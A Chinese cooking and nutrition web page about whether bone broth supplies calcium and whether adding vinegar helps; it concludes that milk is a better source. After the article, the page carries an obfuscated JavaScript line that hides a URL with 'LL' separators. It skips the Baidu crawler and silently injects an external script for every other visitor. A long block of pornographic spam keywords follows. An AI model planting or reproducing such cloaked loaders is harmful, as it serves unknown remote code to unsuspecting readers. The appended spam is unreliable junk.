當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

骨頭湯怎么熬更有營養?加點醋更爽口補鈣

2015-07-11 09:29:57  來源:360常識網   熱度:
導語:有實驗證明,在高壓鍋蒸煮兩小時之后,骨髓里面的脂肪紛紛浮出水面,但湯里面的鈣仍是微乎其微。要想用骨頭湯補鈣,只有一個方法:加上半碗

有實驗證明,在高壓鍋蒸煮兩小時之后,骨髓里面的脂肪紛紛浮出水面,但湯里面的鈣仍是微乎其微。要想用骨頭湯補鈣,只有一個方法:加上半碗醋,再慢慢地燉上一兩小時。

骨頭湯怎么熬更有營養?加點醋更爽口補鈣
骨頭湯怎么熬更有營養?加點醋更爽口補鈣

骨頭湯怎么熬更有營養?

俗話說“以形補形”,許多年來,燉骨頭湯喝能補鈣的說法已經深入人心。科學家們已經不厭其煩地說明,喝骨頭湯并不能補鈣,這是因為湯中含有的鈣極少,大多數鈣都沉淀在骨頭中,但有一種方法能夠增加骨骼中的鈣溶出,這就是在燉湯的時候加一點醋。

骨頭里面的鈣決不會輕易溶出來。

有實驗證明,在高壓鍋蒸煮兩小時之后,骨髓里面的脂肪紛紛浮出水面,但湯里面的鈣仍是微乎其微。要想用骨頭湯補鈣,只有一個方法:加上半碗醋,再慢慢地燉上一兩小時。燉骨頭湯時將洗干凈的骨頭砸開,然后放入冷水中燒。冷水要一次加足,并慢慢地加溫,蛋白質才能夠充分溶解到湯里,湯的味道會更鮮美。另外,在水燒開后可以加入少許醋,使骨頭里的磷鈣溶解在湯內。

熬骨頭湯加點醋更爽口補鈣

但這并不是能夠有效增加鈣質吸收的方法。骨頭湯里加醋形成的酸性環境,確實有利于骨骼中鈣質的溶出。但由于家庭烹飪骨頭湯時,為獲得適宜的口感,一般加醋量不會太多,而且加入的食醋在高溫作用下部分揮發,溶解在骨頭湯中的醋量本身就很少,能夠溶出的鈣質也就微乎其微??茖W家們做過實驗,在骨頭湯中加入人體最大可接受酸度的食醋,骨湯中鈣離子的含量也不過5~10毫克/100克,僅為鮮牛奶中鈣含量(80~110毫克/100克)的1/10到1/20,按照一碗骨頭湯重300克計算,所含鈣量最多也就是30毫克左右,僅為孕婦每日需要量(1000~1200毫克)的1/40。此外,鈣的吸收需要維生素D的參與,骨湯中維生素D的含量微乎其微,不能有效的將骨鈣轉化為人體吸收的鈣質。

因此,熬骨頭湯的時候加點醋,有利于鈣質溶出和增加湯的風味是事實,但也不能一味地靠添加醋來補鈣。與其期待骨頭湯補鈣,不如喝一杯牛奶更給力!

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
丰满人妻熟妇乱又伦精品| 国产精品视频白浆合集| 精品伊人久久大线蕉地址| 精品视频在线免费观看| 国产精品亚洲一区二区无码| 99re热这里只有精品| 国产成人久久精品二区三区| 精品乱码一卡2卡三卡4卡网| 精品国产美女福利到在线不卡| 无码人妻精品一二三区免费| 久久99国产精品视频| 国产精品色视频ⅹxxx| 人妻少妇精品专区性色AV| 熟女精品视频一区二区三区| 国产成人综合精品一区| 伊人久99久女女视频精品免| 久久久免费的精品| 北条麻妃久久99精品| 国产精品96久久久久久久 | 2021国产精品自在拍在线播放| 精品视频在线观看你懂的一区 | 免费精品国产自产拍观看| 精品国产乱码久久久久久呢| 国产精品后入内射日本在线观看| 思思久久99热免费精品6| 久久99精品久久久久久水蜜桃| 久久久久无码精品国产不卡| 国产午夜精品久久久久免费视| 国产亚洲精品免费| 亚洲av永久中文无码精品 | 精品91自产拍在线观看二区| 国产精品自在自线免费观看| 99re最新在线精品| 2019国产精品青青草原| 久久久久亚洲精品美女| 国产A三级久久精品| 国产精品五月天强力打造| 国产精品怡红院在线观看| 久久精品青草社区| 色综合久久精品中文字幕首页| 久久精品a亚洲国产v高清不卡|